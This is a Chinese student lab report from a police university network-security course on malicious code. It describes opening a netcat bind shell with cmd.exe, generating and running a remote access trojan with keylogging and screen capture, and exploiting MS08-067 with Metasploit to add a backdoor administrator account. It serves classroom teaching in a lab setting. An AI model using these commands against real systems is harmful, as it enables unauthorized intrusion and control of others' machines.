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201521450014 網路對抗技術實驗四 葛文宣

中國人民公安大學

Chinese people public security university

 

網路對抗技術

實驗報告

 

實驗四

惡意程式碼技術

 

 

 

學生姓名

 葛文宣

年級

 2015級

區隊

 五區隊

指導教師

 高見

 

 

資訊科技與網路安全學院

20181016

 

實驗任務總綱

2016—2017 學年 第  學期

一、實驗目的

1.通過對木馬的練習,使讀者理解和掌握木馬傳播和執行的機制;通過手動刪除木馬,掌握檢查木馬和刪除木馬的技巧,學會防禦木馬的相關知識,加深對木馬的安全防範意識。

2.瞭解並熟悉常用的網路攻擊工具,木馬的基本功能;

3.達到鞏固課程知識和實際應用的目的。

二、實驗要求

1.認真閱讀每個實驗內容,需要截圖的題目,需清晰截圖並對截圖進行標註和說明。

2.文件要求結構清晰,圖文表達準確,標註規範。推理內容客觀、合理、邏輯性強。

3.軟體工具可使用NC、MSF等。

4.實驗結束後,保留電子文件。

、實驗步驟

1.準備

提前做好實驗準備,實驗前應把詳細瞭解實驗目的、實驗要求和實驗內容,熟悉並準備好實驗用的軟體工具,按照實驗內容和要求提前做好實驗內容的準備。

2.實驗環境

描述實驗所使用的硬體和軟體環境(包括各種軟體工具);

開機並啟動軟體office2003或2007、瀏覽器、加解密軟體。

3.實驗過程

1)啟動系統和啟動工具軟體環境。

2)用軟體工具實現實驗內容。

4.實驗報告

按照統一要求的實驗報告格式書寫實驗報告。把按照模板格式編寫的文件嵌入到實驗報告文件中,文件按照規定的書寫格式書寫,表格要有表說圖形要有圖說。

 

任務一 利用NC控制電腦

 NetCat,具有網路軍刀之稱,它小巧精悍且功能強大,說它小巧精悍,是因為他的軟體大小現在已經壓縮到只有十幾KB,而且在功能上絲毫不減。

實驗過程需要兩個同學相互配合完成:

步驟一:

在受害者的機器 (同學A) 輸入下面的命令:   nc.exe -l -p port -e cmd.exe   進入監聽模式

步驟二:   在攻擊者的機器.(同學B) 輸入下面的命令:   nc ip  port //連線victim_IP,然後得到一個shell。 (需要截圖)

 

 

 

步驟三:

在shell中,利用net user 使用者名稱 密碼 /add ,新增一個使用者,並在受害者的機器中使用 net user命令進行驗證。(需要截圖)

 

 

 

可以繼續通過命令列做一些事情。

任務二 利用木馬控制電腦

實驗過程需要兩個同學配合:

步驟一:

攻擊者的機器. (同學A) 開啟V2014.exe程式或則star RAT,這兩個木馬功能類似。

步驟二:   點選選單欄中的“服務生成”,在彈出的配置服務端中,配置回連IP地址(攻擊者IP)和埠號,並點選“生成”按鈕,生成木馬服務端。

 

步驟三:

將生成的木馬可執行程式拷貝到受害者的機器,並雙擊執行。 

 

步驟四:

在控制端中檢視木馬上線情況,並對以下功能每個進行測試和截圖。 

  1. 檔案管理,嘗試拷貝檔案 
  2. 螢幕控制,嘗試獲取桌面

     

  3. 鍵盤記錄,嘗試獲取對方擊鍵記錄

     

  4. 會話管理,重啟對方機器,檢視是否能自啟動上線

     

 

會話管理,解除安裝對方的木馬。

 

任務三 通過漏洞獲取shell(合天平臺中做) 所有過程截圖寫部落格

 windows ms08067 漏洞利用

在平臺中獲取shell之後,繼續利用攻擊機器使用

net user user pass /add

net localgroup administrators /add

命令向被攻擊的機器中新增賬戶,並提升為管理員

然後用rdesktop 10.1.1.130 登陸對方的遠端桌面

關閉xp系統主機的防火牆

檢視攻擊主機的ip地址和賬戶

  啟動Armitage

 

檢索10.1.1.0/24網段

 

對130進行檢測

搜尋到適應的攻擊模組

 

 配置攻擊資訊

 

利用Metasploit shall獲得xp主機的管理員許可權

 

利用cmd shall建立attacker的賬戶

 

利用rdesktop遠端登入xp系統的attacker(密碼:123465)